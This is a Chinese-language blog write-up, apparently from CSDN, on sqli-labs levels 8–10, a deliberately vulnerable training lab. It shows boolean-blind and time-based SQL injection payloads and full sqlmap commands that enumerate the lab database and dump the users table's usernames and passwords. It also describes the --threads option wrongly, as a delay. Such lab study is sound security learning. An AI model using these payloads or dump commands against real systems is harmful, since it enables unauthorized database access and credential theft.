sqli-labs 基础篇 第8~10关

【第八关】

考点

布尔盲注+sqlmap+sql

Ⅰ 判断注入点

常规检验

?id=1 --+   -- You are in...........
?id=1' --+   -- You are in...........
?id=1" --+  -- You are in...........
?id=1\ --+   -- You are in...........
?id=1' and 1=1 --+  -- You are in...........
?id=1' and 1=2 --+  -- 空白

根据第五、六句,说明 存在单引号注入点,没有闭合注入点

Ⅱ 注入形式

布尔注入,手动的布尔注入感觉好累,一个个字符走,所以直接使用sqlmap根据进行sql注入
在注入前,先了解下sqlmap工具的常用指令

(1)sqlmap常用指令

-u +url 需要注入的链接
–dbs 获取数据库名
–tables
–columns
–batch 让sqlmap自动选择执行过程中出现的询问请求 如果存在注入,就出提示某个参数是可被攻击的
-D +数据库名
-T + 表名
-C + ”X,X2,X3“列表名

(2)sqlmap一般格式
python sqlmap.py -u url -D 数据库名DB --tables --batch 

Ⅲ 开始注入

(1)爆数据库名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' --dbs --batch

image.png

(2)爆表名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' -D security --tables --batch

image.png

(3) 爆列名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' -D security -T users --columns --batch

image.png

(4) 爆数据
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' -D security -T users -C"id,password,username" --dump --batch

image.png

【第九关】

考点

延时注入+sqlmap

Ⅰ 判断注入点

判断不出注册点
测试了下面的语句,页面只显示” You are in…“,属实头疼,盲猜是关闭了报错,只显示”You are in…“

?id=1 --+   -- You are in...........
?id=1' --+   -- You are in...........
?id=1" --+  -- You are in...........
?id=1\ --+   -- You are in...........
?id=1' and 1=1 --+  -- You are in...........
?id=1' and 1=2 --+  -- You are in...........

Ⅱ 源码分析

这就是导致上面的注入点推断时,发现输入啥,都是显示一个答案,在这里,就不能用之前的报错注入布尔注入
image.png

Ⅲ 注册形式

(1)时间延时注入

依据正确执行SQL语句时,故意延时显示,以便判断sql正确执行了,不过爆数据库名时需要一个个字符爆,在这里,要么借用脚本exp,或者burp爆破,手动是真的麻烦!!
格式

?id=1'and if(database()='security',sleep(2),1)--+

?id=1'and if(ascii(substring((sql注入语句)>0,sleep(2),1)--+
/*
*其中sql注入语句,类似
select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1)
*/
(2)sqlmap注入

力推,输入的格式跟第八关一致

【第十关】基于GET双引号的时间盲注

Ⅰ 判断注入点

跟第九关一样,存在输入任何东西,都是显示同一个结果
使用延时注入,得出注入点

?id=1' and sleep(3) --+  -- 马上显示,不是单引号注入
?id=1" and sleep(3) --+  -- 等待三秒后,才显示,是双引号注入

Ⅱ 正常注入

其他的参考第九关

python sqlmap.py 
	-u "http://192.168.60.128/sqli-labs/Less-10/index.php?id=1" 
	--technique T 
	-D security 
	-T users 
	-C username,password 
	--dump 
  --threads 10 
  --level 3 
  --batch
  • –technique T 指定sqlmap使用的探测技术,T表示延时技术
  • –threads 10:延时10s
  • –level 3 :注入等级,级别越高sqlmap发送的探测payload就越多,越有可能发现注入漏洞
  • –batch:即执行的时候不需要我们再手动的进行选择yes或者no,默认选择yes

image.png
image.png

参考资料

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值